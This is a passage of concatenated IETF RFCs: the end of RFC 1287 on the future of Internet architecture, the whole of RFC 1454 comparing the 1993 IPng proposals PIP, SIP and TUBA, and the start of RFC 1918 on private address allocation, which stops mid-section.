   How seamless is the needed support for mobile hosts?
      o New address class, rebind to local address, use DNS?

   Shall we push for Internet multicast?

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 25]

RFC 1287            Future of Internet Architecture        December 1991

   __________________________________________________________________
   Slide 9

                        GETTING BIG -- AN OLD TITLE

   (Addressing and routing was on previous slide...)

   What user services will be needed in the next 10 years?
      o Can we construct a plan?
      o Do we need architectural changes?

   Is there a requirement for dealing better with ranges in
      speed, packet sizes, etc.
      o Policy to phase out fragmentation?

   What range of hosts (things != Unix) will we support?

   _________________________________________________________________
   Slide 10

                         DEALING WITH DIVESTITURE

   The Internet is composed of parts separately managed and
   controlled.

   What support is needed for network charging?
      o No architecture implies bulk charges and re-billing, pay
          for lost packets.
      o Do we need controls to supply billing id or routing?

   Requirement: we must support links with controlled sharing.
      (Simple form is classes based on link id.)
      o How general?

   Is there an increased need for fault isolation? (I vote yes!)
      o How can we find managers to talk to?
      o Do we need services in hosts?

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 26]

RFC 1287            Future of Internet Architecture        December 1991

   _________________________________________________________________
   Slide 11

                               NEW SERVICES

   Shall we support video and audio? Real time? What %?
      o Need to plan for input from research.  What quality?
      o Target date for heads-up to vendors.

   Shall we "better" support transactions?
      o Will TCP do? VMTP? Presentation? Locking?

   What application support veneers are coming?
      o Distributed computing -- will it actually happen?
      o Information networking?

   __________________________________________________________________
   Slide 12

                                 SECURITY

   Can we persist in claiming the end-node is the only line of defense?
      o What can we do inside the network?
      o What can ask the host to do?

   Do we tolerate relays, or architect them?
   Can find a better way to construct security boundaries?

   Do we need global authentication?

   Do we need new host requirements:
      o Logging.
      o Authentication.
      o Management interfaces.
         - Phone number or point of reference.

   __________________________________________________________________

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 27]

RFC 1287            Future of Internet Architecture        December 1991

APPENDIX B: Group Membership

   Group 1: ROUTING AND ADDRESSING

       Dave Clark, MIT  [Chair]
       Hans-Werner Braun, SDSC
       Noel Chiappa, Consultant
       Deborah Estrin, USC
       Phill Gross, CNRI
       Bob Hinden, BBN
       Van Jacobson, LBL
       Tony Lauck, DEC.

   Group 2: MULTI-PROTOCOL ARCHITECTURE

       Lyman Chapin, BBN  [Chair]
       Ross Callon, DEC
       Dave Crocker, DEC
       Christian Huitema, INRIA
       Barry Leiner,
       Jon Postel, ISI

   Group 3: SECURITY ARCHITECTURE

       Vint Cerf, CNRI  [Chair]
       Steve Crocker, TIS
       Steve Kent, BBN
       Paul Mockapetris, DARPA

   Group 4: TRAFFIC CONTROL AND STATE

       Robert Braden, ISI  [Chair]
       Chuck Davin,  MIT
       Dave Mills, University of Delaware
       Claudio Topolcic, CNRI

   Group 5: ADVANCED APPLICATIONS

       Russ Hobby, UCDavis  [Chair]
       Dave Borman, Cray Research
       Cliff Lynch, University of California
       Joyce K. Reynolds, ISI
       Bruce Schatz, University of Arizona
       Mike Schwartz, University of Colorado
       Greg Vaudreuil, CNRI.

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 28]

RFC 1287            Future of Internet Architecture        December 1991

Security Considerations

   Security issues are discussed in Section 4.

Authors' Addresses

   David D. Clark
   Massachusetts Institute of Technology
   Laboratory for Computer Science
   545 Main Street
   Cambridge, MA 02139

   Phone: (617) 253-6003
   EMail: ddc@LCS.MIT.EDU

   Vinton G. Cerf
   Corporation for National Research Initiatives
   1895 Preston White Drive, Suite 100
   Reston, VA 22091

   Phone: (703) 620-8990
   EMail: vcerf@nri.reston.va.us

   Lyman A. Chapin
   Bolt, Beranek & Newman
   Mail Stop 20/5b
   150 Cambridge Park Drive
   Cambridge, MA 02140

   Phone: (617) 873-3133
   EMail: lyman@BBN.COM

   Robert Braden
   USC/Information Sciences Institute
   4676 Admiralty Way
   Marina del Rey, CA 90292

   Phone: (310) 822-1511
   EMail: braden@isi.edu

   Russell Hobby
   University of California
   Computing Services
   Davis, CA 95616

   Phone: (916) 752-0236
   EMail: rdhobby@ucdavis.edu

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 29]


Network Working Group                                          T. Dixon
Request for Comments: 1454                                         RARE
                                                               May 1993

             Comparison of Proposals for Next Version of IP

Status of this Memo

   This memo provides information for the Internet community.  It does
   not specify an Internet standard.  Distribution of this memo is
   unlimited.

Abstract

   This is a slightly edited reprint of RARE Technical Report
   (RTC(93)004).

   The following is a brief summary of the characteristics of the three
   main proposals for replacing the current Internet Protocol. It is not
   intended to be exhaustive or definitive (a brief bibliography at the
   end points to sources of more information), but to serve as input to
   the European discussions on these proposals, to be co-ordinated by
   RARE and RIPE. It should be recognised that the proposals are
   themselves "moving targets", and in so far as this paper is accurate
   at all, it reflects the position at the 25th IETF meeting in
   Washington, DC. Comments from Ross Callon and Paul Tsuchiya on the
   original draft have been incorporated.  Note that for a time the term
   "IPv7" was use to mean the eventual next version of IP, but that the
   same term was closely associated with a particilar proposal, so the
   term "IPng" is now used to identify the eventual next generation of
   IP.

   The paper begins with a "generic" discussion of the mechanisms for
   solving problems and achieving particular goals, before discussing
   the proposals invidually.

1. WHY IS THE CURRENT IP INADEQUATE?

   The problem has been investigated and formulated by the ROAD group,
   but briefly reduces to the following:

      - Exhaustion of IP Class B Address Space.

      - Exhaustion of IP Address Space in General.

      - Non-hierarchical nature of address allocation leading to flat
        routing space.

Dixon                                                           [Page 1]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   Although the IESG requirements for a new Internet Protocol go further
   than simply routing and addressing issues,  it is these issues that
   make extension of the current protocol an impractical option.
   Consequently, most of the discussion and development of the various
   proposed protocols has concentrated on these specific problems.

   Near term remedies for these problems include the CIDR proposals
   (which permit the aggregation of Class C networks for routing
   purposes) and assignment policies which will allocate Class C network
   numbers in a fashion which CIDR can take advantage of. Routing
   protocols supporting CIDR are OSPF and BGP4. None of these are pre-
   requisites for the new IP (IPng), but are necessary to prolong the
   life of the current Internet long enough to work on longer-term
   solutions. Ross Callon points out that there are other options for
   prolonging the life of IP and that some ideas have been distributed
   on the TUBA list.

   Longer term proposals are being sought which ultimately allow for
   further growth of the Internet. The timescale for considering these
   proposals is as follows:

      - Dec 15 Issue selection criteria as RFC.

      - Feb 12 Two interoperable implementations available.

      - Feb 26 Second draft of proposal documents available.

   The (ambitious) target is for a decision to be made at the 26th IETF
   (Columbus, Ohio in March 1993) on which proposals to pursue.

   The current likely candidates for selection are:

      - PIP ('P' Internet Protocol - an entirely new protocol).

      - TUBA (TCP/UDP with Big Addresses - uses ISO CLNP).

      - SIP (Simple IP - IP with larger addresses and fewer options).

   There is a further proposal from Robert Ullman of which I don't claim
   to have much knowledge. Associated with each of the candidates are
   transition plans, but these are largely independent of the protocol
   itself and contain elements which could be adopted separately, even
   with IP v4, to further extend the life of current implementations and
   systems.

Dixon                                                           [Page 2]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

2. WHAT THE PROPOSALS HAVE IN COMMON

2.1 Larger Addresses

   All the proposals (of course) make provision for larger address
   fields which not only increase the number of addressable systems, but
   also permit the hierarchical allocation of addresses to facilitate
   route aggregation.

2.2 Philosophy

   The proposals also originate from a "routing implementation" view of
   the world - that is to say they focus on the internals of routing
   within the network and do not primarily look at the network service
   seen by the end-user, or by applications. This is perhaps inevitable,
   especially given the tight time constraints for producing
   interoperable implementations. However, the (few) representatives of
   real users at the 25th IETF, the people whose support is ultimately
   necessary to deploy new host implementations, were distinctly
   unhappy.

   There is an inbuilt assumption in the proposals that IPng is
   intended to be a universal protocol: that is, that the same network-
   layer protocol will be used between hosts on the same LAN, between
   hosts and routers, between routers in the same domain, and between
   routers in different domains. There are some advantages in defining
   separate "access" and "long-haul" protocols, and this is not
   precluded by the requirements. However, despite the few opportunities
   for major change of this sort within the Internet, the need for speed
   of development and low risk have led to the proposals being
   incremental, rather than radical, changes to well-proven existing
   technology.

   There is a further unstated assumption that the architecture is
   targeted at the singly-connected host. It is currently difficult to
   design IPv4 networks which permit hosts with more than one interface
   to benefit from increased bandwidth and reliability compared with
   singly-connected hosts (a consequence of the address belonging to the
   interface and not the host). It would be preferable if topological
   constraints such as these were documented. It has been asserted that
   this is not necessarily a constraint of either the PIP or TUBA
   proposals, but I believe it is an issue that has not emerged so far
   amongst the comparative criteria.

Dixon                                                           [Page 3]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

2.3 Source Routing

   The existing IPv4 has provision for source-specified routes, though
   this is little used [would someone like to contradict me here?],
   partly because it requires knowledge of the internal structure of the
   network down to the router level. Source routes are usually required
   by users when there are policy requirements which make it preferable
   or imperative that traffic between a source and destination should
   pass through particular administrative domains. Source routes can
   also be used by routers within administrative domains to route via
   particular logical topologies. Source-specified routing requires a
   number of distinct components:

      a.  The specification by the source of the policy by which the
          route should be selected.

      b.  The selection of a route appropriate to the policy.

      c.  Marking traffic with the identified route.

      d.  Routing marked traffic accordingly.

   These steps are not wholly independent. The way in which routes are
   identified in step (c) may constrain the kinds of route which can be
   selected in previous steps. The destination, inevitably, participates
   in the specification of source routes either by advertising the
   policies it is prepared to accept or, conceivably, by a negotiation
   process.

   All of the proposals mark source routes by adding a chain of (perhaps
   partially-specified) intermediate addresses to each packet. None
   specifies the process by which a host might acquire the information
   needed to  specify these intermediate addresses [not entirely
   unreasonably at this stage, but further information is expected]. The
   negative consequences of these decisions are:

      - Packet headers can become quite long, depending on the number of
        intermediate addresses that must be specified (although there are
        mechanisms which are currently specified or which can be imagined
        to specify only the significant portions of intermediate addresses).

      - The source route may have to be re-specified periodically if
        particular intermediate addresses are no longer reachable.

   The positive consequences are:

      - Inter-domain routers do not have to understand policies, they
        simply have to mechanically follow the source route.

Dixon                                                           [Page 4]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

      - Routers do not have to store context identifying routes, since
        the information is specified in each packet header.

      - Route servers can be located anywhere in the network, provided
        the hosts know how to find them.

2.4 Encapsulation

   Encapsulation is the ability to enclose a network-layer packet within
   another one so that the actual packet can be directed via a path it
   would not otherwise take to a router that can remove the outermost
   packet and direct the resultant packet to its destination.
   Encapsulation requires:

      a.  An indication in the packet that it contains another packet.

      b.  A function in routers which, on receiving such a packet,
          removes the encapsulation and re-enters the forwarding process.

   All the proposals support encapsulation. Note that it is possible to
   achieve the effect of source routing by suitable encapsulation by the
   source.

2.5 Multicast

   The specification of addresses to permit multicast with various
   scopes can be accomodated by all the proposals. Internet-wide
   multicast is, of course, for further study!

2.6 Fragmentation

   All the proposals support the fragmentation of packets by
   intermediate routers, though there has been some recent discussion of
   removing this mechanism from some of the proposals and requiring the
   use of an MTU-discovery process to avoid the need for fragmentation.
   Such a decision would effectively preclude the use of transport
   protocols which use message-count sequence numbering (such as OSI
   Transport) over the network, as only protocols with byte-count
   acknowledgement (such as TCP) can deal with MTU reductions during the
   lifetime of a connection. OSI Transport may not be particularly
   relevant to the IP community (though it may be of relevance to
   commercial suppliers providing multiprotocol services), however the
   consequences for the types of services which may be supported over
   IPng should be noted.

Dixon                                                           [Page 5]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

2.7 The End of Lifetime as We Know It

   The old IPv4 "Time to Live" field has been recast in every case as a
   simple hop count, largely on grounds of implementation convenience.
   Although the old TTL was largely implemented in this fashion anyway,
   it did serve an architectural purpose in putting an upper bound on
   the lifetime of a packet in the network. If this field is recast as a
   hop-count, there must be some other specification of the maximum
   lifetime of a packet in the network so that a source host can ensure
   that network-layer fragment ids and transport-layer sequence numbers
   are never in danger of re-use whilst there is a danger of confusion.
   There are, in fact, three separate issues here:

      1. Terminating routing loops (solved by hop count).

      2. Bounding lifetime of network-layer packets (a necessity,
         unspecified so far) to support assumptions by the transport
         layer.

      3. Permitting the source to place further restrictions on packet
         lifetime (for example so that "old" real-time traffic can be
         discarded in favour of new traffic in the case of congestion
         (an optional feature, unspecified so far).

3. WHAT THE PROPOSALS ONLY HINT AT

3.1 Resource Reservation

   Increasingly, applications require a certain bandwidth or transit
   delay if they are to be at all useful (for example, real-time video
   and audio transport). Such applications need procedures to indicate
   their requirements to the network and to have the required resources
   reserved.  This process is in some ways analogous to the selection of
   a source route:

      a.  The specification by the source of its requirements.

      b.  The confirmation that the requirements can be met.

      c.  Marking traffic with the requirement.

      d.  Routing marked traffic accordingly.

   Traffic which is routed according to the same set of resource
   requirements is sometimes called a "flow". The identification of
   flows requires a setup process, and it is tempting to suppose that
   the same process might also be used to set up source routes, however,
   there are a number of differences:

Dixon                                                           [Page 6]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

      - All the routers on a path must participate in resource
        reservation and agree to it.

      - Consequently, it is relatively straightforward to maintain
        context in each router and the identification for flows can be
        short.

      - The network can choose to reroute on failure.

   By various means, each proposal could carry flow-identification,
   though this is very much "for future study" at present. No setup
   mechansisms are defined. The process for actually reserving the
   resources is a higher-order problem. The interaction between source-
   routing and resource reservation needs further investigation:
   although the two are distinct and have different implementation
   constraints, the consequence of having two different mechanisms could
   be that it becomes difficult to select routes which meet both policy
   and performance goals.

3.2 Address-Assignment Policies

   In IPv4, addresses were bound to systems on a long-term basis and in
   many cases could be used interchangeably with DNS names. It is
   tacitly accepted that the association of an address with a particular
   system may be more volatile in IPng. Indeed, one of the proposals,
   PIP, makes a distinction between the identification of a system (a
   fixed quantity) and its address, and permits the binding to be
   altered on the fly. None of the proposals defines bounds for the
   lifetime of addresses, and the manner in which addresses are assigned
   is not necessarily bound to a particular proposal. For example,
   within the larger address space to be provided by IPng, there is a
   choice to be made of assigning the "higher order" part of the
   hierarchical address in a geographically-related fashion or by
   reference to service provider. Geographically-based addresses can be
   constant and easy to assign, but represent a renewed danger of
   degeneration to "flat" addresses within the region of assignment,
   unless certain topological restrictions are assumed.  Provider-based
   address assignment results in a change of address (if providers are
   changed) or multiple addresses (if multiple providers are used).
   Mobile hosts (depending on the underlying technology) can present
   problems in both geographic and provider-based schemes.

   Without firm proposals for address-assignment schemes and the
   consequences for likely address lifetimes, it is impossible to assume
   that the existing DNS model by which name-to-address bindings can be
   discovered remains valid.

Dixon                                                           [Page 7]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   Note that there is an interaction between the mechanism for
   assignment of addresses and way in which automatic configuration may
   be deployed.

3.3 Automatic Configuration

   Amongst the biggest (user) bugbears of current IP services is the
   administrative effort of maintaining basic configuration information,
   such as assigning names and addresses to hosts, ensuring these are
   refelected in the DNS, and keeping this information correct. Part of
   this results from poor implementation (or the blind belief that vi
   and awk are network management tools). However, a lot of the problems
   could be alleviated by making this process more automatic. Some of
   the possibilities (some mutually-exlusive) are:

      - Assigning host addresses from some (relative) invariant, such
        as a LAN address.

      - Defining a protocol for dynamic assignment of addresses within a
        subnetwork.

      - Defining "generic addresses" by which hosts can without
        preconfiguration reach necessary local servers (DNS, route
        servers, etc.).

      - Have hosts determine their name by DNS lookup.

      - Have hosts update their name/address bindings when their
        configuration changes.

   Whilst a number of the proposals make mention of some of these
   possibilities, the choice of appropriate solutions depends to some
   extent on address-assignment policies. Also, dynamic configuration
   results in some difficult philosopical and practical issues (what
   exactly is the role of an address?, In what sense is a host "the same
   host" when its address changes?, How do you handle dynamic changes to
   DNS mappings and how do you authenticate them?).

   The groups involved in the proposals would, I think, see most of
   these questions outside their scope. It would seem to be a failure in
   the process of defining and selecting candidates for IPng that
   "systemness" issues like these will probably not be much discussed.
   This is recognised by the participants, and it is likely that, even
   when a decision is made, some of these ideas will be revisited by a
   wider audience.

   It is, however, unlikely that IP will make an impact on proprietary
   networking systems for the non-technical environment (e.g., Netware,

Dixon                                                           [Page 8]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   Appletalk), without automatic configuration being taken seriously
   either in the architecture, or by suppliers. I believe that there are
   ideas on people's heads of how to address these issues - they simply
   have not made it onto paper yet.

3.4 Application Interface/Application Protocol Changes

   A number of common application protocols (FTP, RPC, etc.) have been
   identified which specifically transfer 32-bit IPv4 addresses, and
   there are doubtless others, both standard and proprietary. There are
   also many applications which treat IPv4 addresses as simple 32-bit
   integers. Even applications which use BSD sockets and try to handle
   addresses opaquely will not understand how to parse or print longer
   addresses (even if the socket structure is big enough to accommodate
   them).

   Each proposal, therefore, needs to specify mechanisms to permit
   existing applications and interfaces to operate in the new
   environment whilst conversion takes place. It would be useful also,
   to have (one) specification of a reference programming interface for
   (TCP and) IPng (which would also operate on IPv4), to allow
   developers to begin changing applications now. All the proposals
   specify transition mechansisms from which existing application-
   compatibility can be inferred. There is no sign yet of a new
   interface specification independent of chosen protocol.

3.5 DNS Changes

   It is obvious that there has to be a name to address mapping service
   which supports the new, longer, addresses. All the proposals assume
   that this service will be provided by DNS, with some suitably-defined
   new resource record. There is some discussion ongoing about the
   appropriateness of returning this information along with "A" record
   information in response to certain enquiries, and which information
   should be requested first. There is a potential tradeoff between the
   number of queries needed to establish the correct address to use and
   the potential for breaking existing implementations by returning
   information that they do not expect.

   There has been heat, but not light, generated by discussion of  the
   use of DNS for auto-configuration and the scaling (or otherwise) of
   reverse translations for certain addressing schemes.

Dixon                                                           [Page 9]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

4. WHAT THE PROPOSALS DON'T REALLY MENTION

4.1 Congestion Avoidance

   IPv4 offers "Source Quench" control messages which may be used by
   routers to indicate to a source that it is congested and has or may
   shortly drop packets. TUBA/PIP have a "congestion encountered" bit
   which provides similar information to the destination. None of these
   specifications offers detailed instructions on how to use these
   facilities. However, there has been a substantial body of analysis
   over recent years that suggests that such facilities can be used (by
   providing information to the transport protocol) not only to signal
   congestion, but also to minimise delay through the network layer.
   Each proposal can offer some form of congestion  signalling, but none
   specifies a mechanism for its use (or an analysis of whether the
   mechanism is in fact useful).

   As a user of a network service which currently has a discard rate of
   around 30% and a round-trip-time of up to 2 seconds for a distance of
   only 500 miles I would be most interested in some proposals for a
   more graceful degradation of the network service under excess load.

4.2 Mobile Hosts

   A characteristic of mobile hosts is that they (relatively) rapidly
   move their physical location and point of attachment to the network
   topology.  This obviously has signficance for addressing (whether
   geographical or topological) and routing. There seems to be an
   understanding of the problem, but so far no detailed specification of
   a solution.

4.3 Accounting

   The IESG selection criteria require only that proposals do not have
   the effect of preventing the collection of information that may be of
   interest for audit or billing purposes. Consequently, none of the
   proposals  consider potential accounting mechanisms.

4.4 Security

   "Network Layer Security Issues are For Further Study". Or secret.

   However, it would be useful to have it demonstrated that each
   candidate could be extended to provide a level of security, for
   example against address-spoofing. This will be particularly
   important if resource-allocation features will permit certain hosts
   to claim large chunks of available bandwidth for specialised
   applications.

Dixon                                                          [Page 10]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   Note that providing some level of security implies manual
   configuration of security information within the network and must be
   considered in relationship to auto-configuration goals.

5. WHAT MAKES THE PROPOSALS DIFFERENT?

   Each proposal is about as different to the others as it is to IPv4 -
   that is the differences are small in principle, but may have
   significant effects (extending the size of addresses is only a small
   difference in principle!). The main distinct characteristics are:

   PIP:

      PIP has an innovative header format that facilitates hierarchical,
      policy and virtual-circuit routing. It also has "opaque" fields in
      the header whose semantics can be defined differently in different
      administrative domains and whose use and translation can be
      negotiated across domain boundaries. No control protocol is yet
      specified.

   SIP:

      SIP offers a "minimalist" approach - removing all little-used
      fields from the IPv4 header and extending the size of addresses to
      (only) 64 bits. The control protocol is based on modifications to
      ICMP. This proposal has the advantages of processing efficiency
      and familiarity.

   TUBA:

      TUBA is based on CLNP (ISO 8473) and the ES-IS (ISO 9542) control
      protocol. TUBA provides for the operation of TCP transport and UDP
      over a CLNP network. The main arguments in favour of TUBA are that
      routers already exist which can handle the network-layer protocol,
      that the extensible addresses offer a wide margin of "future-
      proofing" and that there is an opportunity for convergence of
      standards and products.

5.1 PIP

   PIP packet headers contain a set of instructions to the router's
   forwarding processor to perform certain actions on the packet. In
   traditional protocols, the contents of certain fields imply certain
   actions; PIP gives the source the flexibility to write small
   "programs" which direct the routing of packets through the network.

   PIP addresses have an effectively unlimited length: each level in the
   topological hierarchy of the network contributes part of the address

Dixon                                                          [Page 11]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   and addresses change as the network topology changes. In a completely
   hierarchical network topology, the amount of routing information
   required at each level could be very small. However, in practice,
   levels of hierarchy will be determined more by commercial and
   practical factors than by the constraints of any particular routing
   protocol. A greater advantage is that higher-order parts of the
   address may be omitted in local exchanges and that lower-order parts
   may be omitted in source routes, reducing the amount of topological
   information that host systems are required to know.

   There is an assumption that PIP addresses are liable to change, so a
   further quantity, the PIP ID, is assigned to systems for the purposes
   of identification. It isn't clear that this quantity has any purpose
   which could not equally be served by a DNS name [it is more compact,
   but equally it does not need to be carried in every packet and
   requires an additional lookup]. However, the problem does arise of
   how two potentially-communicating host systems find the correct
   addresses to use.

   The most complex part of PIP is that the meaning of some of the
   header fields is determined by mutual agreement within a particular
   domain. The semantics of specific processing facilities (for example,
   queuing priority) are registered globally, but the actual use and
   encoding of requests for these facilities in the packet header can be
   different in different domains. Border routers between two domains
   which use different encodings must map  from one encoding to another.
   Since routers may not only be adjacent physically to other domains,
   but also via "tunnels", the number of different encoding rules a
   router may need to understand is potentially quite large. Although
   there is a saving in header space by using such a scheme as opposed
   to the more familiar "options", the cost in the complexity of
   negotiating the use and encoding of these facilities, together with
   re-coding the packets at each domain border, is a subject of some
   concern. Although it may be possible for hosts to "precompile" the
   encoding rules for their local domain, there are many potential
   implementaion difficulties.

   Although PIP offers the most flexibility of the three proposals, more
   work needs to be done on "likely use" scenarios which make the
   potential advantages and disadvantages more concrete.

5.2 SIP

   SIP is simply IP with larger addresses and fewer options. Its main
   advantage is that it is even simpler that IPv4 to process. Its main
   disadvantages are:

Dixon                                                          [Page 12]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

      - It is far from clear that, if 32 bits of address are
        insufficient, 64 will be enough for the forseeable future;

      - although there are a few "reserved" bits in the header, the
        extension of SIP to support new features is not obvious.

   There's really very little else to say!

5.3 TUBA

   The characteristics of ISO CLNS are reasonably well known: the
   protocol bears a strong cultural resemblance to IPv4, though with
   20-byte network-layer addressing. Apart from a spurious "Not Invented
   Here" prejudice, the main argument againt TUBA is that it is rather
   too like IPv4, offering nothing other than larger, more flexible,
   addresses.  There is proof-by-example that routers are capable of
   handling the (very) long addresses efficiently, rather less that the
   longer headers do not adversely impact network bandwidth.

   There are a number of objections to the proposed control protocol
   (ISO 9542):

      - My early experience is that the process by which routers
        discover hosts is inefficient and resource consuming for
        routers - and requires quite fine timer resolution on hosts -
        if large LANs are to be accomodated reasonably. Proponents of
        TUBA suggest that recent experience suggests that ARP is no
        better, but I think this issue needs examination.

      - The "redirect" mechanism is based on (effectively) LAN
        addresses and not network addresses, meaning that local routers
        can only "hand-off" complex routing decisions to other routers
        on the same LAN.  Equally, redirection schemes (such as that of
        IPv4) which redirect to network addresses can result in
        unnecessary extra hops.  Analysis of which solution is better
        is rather dependent on the scenarios which are constructed.

   To be fair, however, the part of the protocol which provides for
   router-discovery provides a mechanism, absent from other proposals,
   by which hosts can locate nearby gateways and potentially
   automatically configure their addresses.

6. Transition Plans

   It should be obvious that a transition which permits "old" hosts to
   talk to "new" hosts requires:

Dixon                                                          [Page 13]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   Either:

      (a) That IPng hosts can also use IPv4 or
      (b) There is translation by an intermediate system

   and either:

      (c) The infrastructure between systems is capable of carrying both
          IPng and IPv4 or (d) Tunneling or translation is used to carry
          one protocol within another in parts of the network

   The transition plans espoused by the various proposals are simply
   different combinations of the above. Experience would tend to show
   that all these things will in fact happen, regardless of which
   protocol is chosen.

   One problem of the tunneling/translation process is that there is
   additional information (the extra address parts) which must be
   carried across IPv4 tunnels in the network. This can either be
   carried by adding an extra "header" to the data before encapsulation
   in the IPv4 packet, or by encoding the information as new IPv4 option
   types. In the former case, it may be difficult to map error messages
   correctly, since the original packet is truncated before return; in
   the latter case there is a danger of the packet being discarded (IPv4
   options are not self-describing and new ones may not pass through
   IPv4 routers). There is thus the possibility of having to introduce a
   "new" version of IPv4 in order to support IPng tunneling.

   The alternative (in which IPng hosts have two stacks and the
   infrastructure may or may not support IPng or IPv4) of course
   requires a mechanism for resolving which protocols to try.

7. Random Comments

   This is the first fundamental change in the Internet protocols that
   has occurred since the Internet was manageable as an entity and its
   development was tied to US government contracts. It was perhaps
   inevitable that the IETF/IESG/IAB structure would not have evolved to
   manage a change of this magnitude and it is to be hoped that the new
   structures that are proposed will be more successful in promoting a
   (useful) consensus. It is interesting to see that many of the
   perceived problems of the OSI process (slow progress, factional
   infighting over trivia, convergence on the lowest-common denominator
   solution, lack of consideration for the end-user) are in danger of
   attaching themselves to IPng and it will be interesting to see to
   what extent these difficulties are an inevitable consequence of wide
   representation and participation in network design.

Dixon                                                          [Page 14]

RFC 1454        Comparison of Next Version IP Proposals         May 1993

   It could be regarded either as a sign of success or failure of the
   competitive process for the selection of IPng that the three main
   proposals  have few really significant differences. In this respect,
   the result of the selection process is not of particular
   significance, but the process itself is perhaps necessary to repair
   the social and technical cohesion of the Internet Engineering
   process.

8. Further Information

   The main discussion lists for the proposals listed are:

        TUBA:           tuba@lanl.gov
        PIP:            pip@thumper.bellcore.com
        SIP:            sip@caldera.usc.edu
        General:        big-internet@munnari.oz.au

        (Requests to: <list name>-request@<host>)

   Internet-Drafts and RFCs for the various proposals can be found in
   the usual places.

Security Considerations

   Security issues are not discussed in this memo.

Author's Address

   Tim Dixon
   RARE Secretariat
   Singel 466-468
   NL-1017AW Amsterdam
   (Netherlands)

   Phone: +31 20 639 1131 or + 44 91 232 0936
   EMail: dixon@rare.nl or Tim.Dixon@newcastle.ac.uk

Dixon                                                          [Page 15]


Network Working Group                                         Y. Rekhter
Request for Comments: 1918                                 Cisco Systems
Obsoletes: 1627, 1597                                       B. Moskowitz
BCP: 5                                                    Chrysler Corp.
Category: Best Current Practice                            D. Karrenberg
                                                                RIPE NCC
                                                          G. J. de Groot
                                                                RIPE NCC
                                                                 E. Lear
                                                  Silicon Graphics, Inc.
                                                           February 1996

                Address Allocation for Private Internets

Status of this Memo

   This document specifies an Internet Best Current Practices for the
   Internet Community, and requests discussion and suggestions for
   improvements.  Distribution of this memo is unlimited.

1. Introduction

   For the purposes of this document, an enterprise is an entity
   autonomously operating a network using TCP/IP and in particular
   determining the addressing plan and address assignments within that
   network.

   This document describes address allocation for private internets. The
   allocation permits full network layer connectivity among all hosts
   inside an enterprise as well as among all public hosts of different
   enterprises. The cost of using private internet address space is the
   potentially costly effort to renumber hosts and networks between
   public and private.

2. Motivation

   With the proliferation of TCP/IP technology worldwide, including
   outside the Internet itself, an increasing number of non-connected
   enterprises use this technology and its addressing capabilities for
   sole intra-enterprise communications, without any intention to ever
   directly connect to other enterprises or the Internet itself.

   The Internet has grown beyond anyone's expectations. Sustained
   exponential growth continues to introduce new challenges.  One
   challenge is a concern within the community that globally unique
   address space will be exhausted. A separate and far more pressing
   concern is that the amount of routing overhead will grow beyond the

Rekhter, et al           Best Current Practice                  [Page 1]

RFC 1918        Address Allocation for Private Internets   February 1996

   capabilities of Internet Service Providers. Efforts are in progress
   within the community to find long term solutions to both of these
   problems. Meanwhile it is necessary to revisit address allocation
   procedures, and their impact on the Internet routing system.

   To contain growth of routing overhead, an Internet Provider obtains a
   block of address space from an address registry, and then assigns to
   its customers addresses from within that block based on each customer
   requirement. The result of this process is that routes to many
   customers will be aggregated together, and will appear to other
   providers as a single route [RFC1518], [RFC1519].  In order for route
   aggregation to be effective, Internet providers encourage customers
   joining their network to use the provider's block, and thus renumber
   their computers. Such encouragement may become a requirement in the
   future.

   With the current size of the Internet and its growth rate it is no
   longer realistic to assume that by virtue of acquiring globally
   unique IP addresses out of an Internet registry an organization that
   acquires such addresses would have Internet-wide IP connectivity once
   the organization gets connected to the Internet. To the contrary, it
   is quite likely that when the organization would connect to the
   Internet to achieve Internet-wide IP connectivity the organization
   would need to change IP addresses (renumber) all of its public hosts
   (hosts that require Internet-wide IP connectivity), regardless of
   whether the addresses used by the organization initially were
   globally unique or not.

   It has been typical to assign globally unique addresses to all hosts
   that use TCP/IP. In order to extend the life of the IPv4 address
   space, address registries are requiring more justification than ever
   before, making it harder for organizations to acquire additional
   address space [RFC1466].

   Hosts within enterprises that use IP can be partitioned into three
   categories:

      Category 1: hosts that do not require access to hosts in other
                  enterprises or the Internet at large; hosts within
                  this category may use IP addresses that are
                  unambiguous within an enterprise, but may be
                  ambiguous between enterprises.

      Category 2: hosts that need access to a limited set of outside
                  services (e.g., E-mail, FTP, netnews, remote login)
                  which can be handled by mediating gateways (e.g.,
                  application layer gateways). For many hosts in this
                  category an unrestricted external access (provided

Rekhter, et al           Best Current Practice                  [Page 2]

RFC 1918        Address Allocation for Private Internets   February 1996

                  via IP connectivity) may be unnecessary and even
                  undesirable for privacy/security reasons. Just like
                  hosts within the first category, such hosts may use
                  IP addresses that are unambiguous within an
                  enterprise, but may be ambiguous between
                  enterprises.

      Category 3: hosts that need network layer access outside the
                  enterprise (provided via IP connectivity); hosts in
                  the last category require IP addresses that are
                  globally unambiguous.

   We will refer to the hosts in the first and second categories as
   "private".  We will refer to the hosts in the third category as
   "public".

   Many applications require connectivity only within one enterprise and
   do not need external (outside the enterprise) connectivity for the
   majority of internal hosts. In larger enterprises it is often easy to
   identify a substantial number of hosts using TCP/IP that do not need
   network layer connectivity outside the enterprise.

   Some examples, where external connectivity might not be required,
   are:

         - A large airport which has its arrival/departure displays
           individually addressable via TCP/IP. It is very unlikely
           that these displays need to be directly accessible from
           other networks.

         - Large organizations like banks and retail chains are
           switching to TCP/IP for their internal communication. Large
           numbers of local workstations like cash registers, money
           machines, and equipment at clerical positions rarely need
           to have such connectivity.

         - For security reasons, many enterprises use application
           layer gateways to connect their internal network to the
           Internet.  The internal network usually does not have
           direct access to the Internet, thus only one or more
           gateways are visible from the Internet. In this case, the
